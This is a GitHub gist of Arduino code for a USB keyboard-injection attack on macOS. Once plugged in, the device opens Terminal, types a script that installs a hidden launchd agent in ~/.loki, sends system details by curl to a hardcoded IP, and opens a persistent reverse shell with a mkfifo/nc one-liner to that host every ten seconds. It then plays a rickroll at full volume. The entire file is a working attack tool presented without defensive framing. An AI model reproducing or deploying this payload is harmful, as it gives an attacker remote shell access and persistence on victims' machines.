Created
February 13, 2014 22:50
-
-
Save ecto/8985576 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void setup () { | |
delay(1000); | |
Keyboard.begin(); | |
// give the computer time to recognize a new keyboard | |
// this should be a bunch of escape presses though | |
delay(10000); | |
openProgram("terminal"); | |
payload(); | |
rickroll(); | |
delay(500); | |
openProgram("terminal"); | |
quitProgram(); | |
Keyboard.end(); | |
} | |
void loop () { | |
delay(10000); | |
} | |
void openProgram (String program) { | |
Keyboard.press(KEY_RIGHT_GUI); | |
Keyboard.press(' '); | |
Keyboard.releaseAll(); | |
Keyboard.print(program); | |
Keyboard.write(KEY_RETURN); | |
delay(500); | |
} | |
void quitProgram () { | |
Keyboard.press(KEY_RIGHT_GUI); | |
Keyboard.press('q'); | |
Keyboard.releaseAll(); | |
} | |
void exe (String c) { | |
Keyboard.print(c); | |
Keyboard.write(KEY_RETURN); | |
} | |
void rickroll () { | |
exe("osascript -e 'set volume 11'"); | |
exe("open \"https://www.youtube.com/watch?v=dQw4w9WgXcQ\""); | |
} | |
void payload () { | |
char *payloadMessage = "if [ -d \"/Users/`whoami`/.loki\" ]; then\n" | |
" launchctl remove com.loki.fart\n" | |
"rm -rf ~/.loki\n" | |
"else\n" | |
" mkdir ~/.loki\n" | |
" touch ~/.loki/ping.sh\n" | |
" chmod +x ~/.loki/ping.sh\n" | |
" cat << fin > ~/.loki/ping.sh\n" | |
"ASGARD=\"192.81.130.116\"\n" | |
"PORT=1234\n" | |
"OTHERPORT=1235\n" | |
"curl --data-urlencode \"uname=\\`uname -a\\`\" \\$ASGARD:\\$PORT &\n" | |
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc \\$ASGARD \\$OTHERPORT >/tmp/f &\n" | |
"fin\n" | |
" cat << fin > ~/.loki/com.loki.fart.plist\n" | |
"<plist version=\"1.0\">\n" | |
" <dict>\n" | |
" <key>Label</key>\n" | |
" <string>com.loki.fart</string>\n" | |
" <key>ProgramArguments</key>\n" | |
" <array>\n" | |
" <string>/bin/sh</string>\n" | |
" <string>Users/`whoami`/.loki/ping.sh</string>\n" | |
" </array>\n" | |
" <key>RunAtLoad</key>\n" | |
" <true/>\n" | |
" <key>StartInterval</key>\n" | |
" <integer>10</integer>\n" | |
" <key>AbandonProcessGroup</key>\n" | |
" <true/>\n" | |
" </dict>\n" | |
"</plist>\n" | |
"fin\n" | |
" launchctl load ~/.loki/com.loki.fart.plist\n" | |
"fi\n"; | |
exe(payloadMessage); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment